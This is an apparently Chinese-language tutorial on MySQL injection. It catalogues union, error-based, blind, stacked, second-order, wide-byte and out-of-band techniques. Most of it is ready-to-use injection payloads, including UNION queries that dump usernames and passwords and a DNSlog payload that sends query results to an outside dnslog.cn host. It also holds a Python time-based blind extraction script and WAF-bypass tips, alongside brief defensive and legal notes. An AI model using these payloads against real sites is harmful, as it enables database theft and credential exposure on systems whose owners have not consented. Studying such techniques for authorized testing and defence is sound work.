MYSQL 注入总结笔记整理
字数 1590 2025-08-10 21:22:35

MySQL注入攻击全面指南

1. MySQL基础查询语句

1.1 信息查询基础

-- 查库
SELECT schema_name FROM information_schema.schemata;

-- 查表
SELECT table_name FROM information_schema.tables WHERE table_schema='security';

-- 查列
SELECT column_name FROM information_schema.columns WHERE table_name='users';

-- 查字段
SELECT username,password FROM security.users;

1.2 常用函数

字符串处理函数

  • left(a,b): 从左侧截取a的前b位
  • substr(a,b,c)/substring(a,b,c): 从a的b位置开始截取c个字符
  • mid(a,b,c): 类似substr,从a的b位置开始截取c个字符
  • concat(a,b,...): 连接字符串
  • concat_ws(sep,a,b,...): 用分隔符连接字符串
  • group_concat(a): 将多行结果合并为一行

比较与匹配函数

  • regexp: 正则匹配
  • like: 简单模式匹配
  • ascii(): 返回字符的ASCII码
  • ord(): 同ascii()
  • length(): 返回字符串长度

数学与逻辑函数

  • floor(): 向下取整
  • rand(): 生成随机数(0-1)
  • count(): 计数
  • if(a,b,c): 条件判断

系统函数

  • system_user(): 当前系统用户
  • user(): 当前登录用户
  • current_user(): 当前登录用户
  • database(): 当前使用的数据库
  • version(): MySQL版本信息
  • @@datadir: MySQL安装路径
  • @@version_compile_os: 操作系统信息

2. 注入技术分类

2.1 联合查询注入(Union Based)

原理:利用UNION SELECT合并查询结果

步骤

  1. 判断注入点
  2. 确定列数:order by n
  3. 确定回显位置
  4. 构造UNION查询

示例

?id=1' order by 3 --+  -- 判断列数
?id=-1' union select 1,2,database() --+  -- 获取当前数据库
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+  -- 获取所有表名

2.2 报错注入(Error Based)

2.2.1 BIGINT溢出报错

select ~0+!(select*from(select user())x);

2.2.2 exp()函数报错

select exp(~(select*from(select user())x));

2.2.3 XPath报错

  • extractvalue():
and extractvalue(null,concat(0x7e,(payload),0x7e))
  • updatexml():
and 1=(updatexml(1,concat(0x7e,(payload)),1))

2.2.4 双查询注入

?id=-1' union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a --+

2.3 盲注(Blind Injection)

2.3.1 布尔盲注

?id=1' and length(database())=8 --+
?id=1' and ascii(substr(database(),1,1))=115 --+
?id=1' and left(database(),1)='s' --+

2.3.2 时间盲注

?id=1' and if(length(database())=8,sleep(10),1) --+
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10)) --+

2.4 堆叠注入(Stacked Queries)

?id=1'; show tables --+
?id=1'; insert into users(id,username,password) values (88,'aa','bb') --+

2.5 二次注入(Second Order)

  1. 注册用户名为admin'#的账号
  2. 修改密码时,SQL语句变为:
UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass'

2.6 DNSlog外带注入

and (select load_file(concat('\\',(select hex(user())),'xxxxxx.dnslog.cn/1.txt')))

2.7 宽字节注入

?id=-1%df' union select 1,2,3 --+

2.8 HTTP头注入

  • Cookie注入
  • X-Forwarded-For注入
  • User-Agent注入
  • Referer注入

2.9 Between注入

select * from users where id=1 and substr(username,1,1) between 'a' and 't';

2.10 Order By注入

order by (select 1 from (select count(*),concat((select version()),floor(rand(0)*2))x from information_schema.tables group by x)a)

3. 防御措施

  1. 使用预编译语句(Prepared Statements)
  2. 对输入进行严格的过滤和转义
  3. 最小权限原则
  4. 关闭错误回显
  5. 使用WAF(Web应用防火墙)
  6. 定期更新和修补系统

4. 工具推荐

  1. SQLmap - 自动化SQL注入工具
  2. Burp Suite - 用于手动测试和抓包
  3. DNSlog平台 - 用于外带注入
  4. HackBar - 浏览器插件辅助测试

5. 实战案例

5.1 联合注入完整流程

  1. 判断注入点:
?id=1' -- 查看是否有报错
  1. 确定列数:
?id=1' order by 3 --+  -- 尝试不同数字直到报错
  1. 确定回显位置:
?id=-1' union select 1,2,3 --+
  1. 获取数据库信息:
?id=-1' union select 1,2,database() --+
  1. 获取所有表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
  1. 获取字段名:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
  1. 获取数据:
?id=-1' union select 1,2,group_concat(concat_ws('~~',username,password)) from users --+

5.2 报错注入示例

?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

5.3 时间盲注脚本思路

import requests
import time

url = "http://example.com/vuln.php?id=1"

# 测试数据库名长度
for i in range(1,20):
    payload = "' and if(length(database())={},sleep(5),0) --+".format(i)
    start = time.time()
    requests.get(url+payload)
    if time.time() - start > 5:
        print("Database length:", i)
        break

# 逐字符猜解数据库名
db_name = ""
for i in range(1,9):  # 假设已知长度为8
    for c in range(32,127):
        payload = "' and if(ascii(substr(database(),{},1))={},sleep(2),0) --+".format(i,c)
        start = time.time()
        requests.get(url+payload)
        if time.time() - start > 2:
            db_name += chr(c)
            print(db_name)
            break

6. 高级技巧

  1. 十六进制编码绕过过滤:
?id=-1' union select 1,2,group_concat(concat_ws(0x7e7e,username,password)) from users --+
  1. 注释符使用:
  • --+
  • --
  • #
  1. 逻辑运算符:
  • and/or优先级
  • &&/||替代
  1. 绕过WAF技巧:
  • 大小写混合
  • 内联注释/*!...*/
  • 空白符干扰
  • 编码混淆

7. 注意事项

  1. 法律合规性:仅在授权范围内测试
  2. 影响评估:避免使用DROP等破坏性语句
  3. 数据备份:测试前确保数据安全
  4. 测试环境:优先在本地或授权环境测试
  5. 记录日志:详细记录测试过程和结果

通过本指南,您应该能够全面了解MySQL注入的各种技术和防御方法。请始终记住,这些知识仅应用于合法的安全测试和研究目的。

MySQL注入攻击全面指南 1. MySQL基础查询语句 1.1 信息查询基础 1.2 常用函数 字符串处理函数 left(a,b) : 从左侧截取a的前b位 substr(a,b,c) / substring(a,b,c) : 从a的b位置开始截取c个字符 mid(a,b,c) : 类似substr,从a的b位置开始截取c个字符 concat(a,b,...) : 连接字符串 concat_ws(sep,a,b,...) : 用分隔符连接字符串 group_concat(a) : 将多行结果合并为一行 比较与匹配函数 regexp : 正则匹配 like : 简单模式匹配 ascii() : 返回字符的ASCII码 ord() : 同ascii() length() : 返回字符串长度 数学与逻辑函数 floor() : 向下取整 rand() : 生成随机数(0-1) count() : 计数 if(a,b,c) : 条件判断 系统函数 system_user() : 当前系统用户 user() : 当前登录用户 current_user() : 当前登录用户 database() : 当前使用的数据库 version() : MySQL版本信息 @@datadir : MySQL安装路径 @@version_compile_os : 操作系统信息 2. 注入技术分类 2.1 联合查询注入(Union Based) 原理 :利用UNION SELECT合并查询结果 步骤 : 判断注入点 确定列数: order by n 确定回显位置 构造UNION查询 示例 : 2.2 报错注入(Error Based) 2.2.1 BIGINT溢出报错 2.2.2 exp()函数报错 2.2.3 XPath报错 extractvalue(): updatexml(): 2.2.4 双查询注入 2.3 盲注(Blind Injection) 2.3.1 布尔盲注 2.3.2 时间盲注 2.4 堆叠注入(Stacked Queries) 2.5 二次注入(Second Order) 注册用户名为 admin'# 的账号 修改密码时,SQL语句变为: 2.6 DNSlog外带注入 2.7 宽字节注入 2.8 HTTP头注入 Cookie注入 X-Forwarded-For注入 User-Agent注入 Referer注入 2.9 Between注入 2.10 Order By注入 3. 防御措施 使用预编译语句(Prepared Statements) 对输入进行严格的过滤和转义 最小权限原则 关闭错误回显 使用WAF(Web应用防火墙) 定期更新和修补系统 4. 工具推荐 SQLmap - 自动化SQL注入工具 Burp Suite - 用于手动测试和抓包 DNSlog平台 - 用于外带注入 HackBar - 浏览器插件辅助测试 5. 实战案例 5.1 联合注入完整流程 判断注入点: 确定列数: 确定回显位置: 获取数据库信息: 获取所有表名: 获取字段名: 获取数据: 5.2 报错注入示例 5.3 时间盲注脚本思路 6. 高级技巧 十六进制编码绕过过滤: 注释符使用: --+ -- # 逻辑运算符: and / or 优先级 && / || 替代 绕过WAF技巧: 大小写混合 内联注释 /*!...*/ 空白符干扰 编码混淆 7. 注意事项 法律合规性:仅在授权范围内测试 影响评估:避免使用DROP等破坏性语句 数据备份:测试前确保数据安全 测试环境:优先在本地或授权环境测试 记录日志:详细记录测试过程和结果 通过本指南,您应该能够全面了解MySQL注入的各种技术和防御方法。请始终记住,这些知识仅应用于合法的安全测试和研究目的。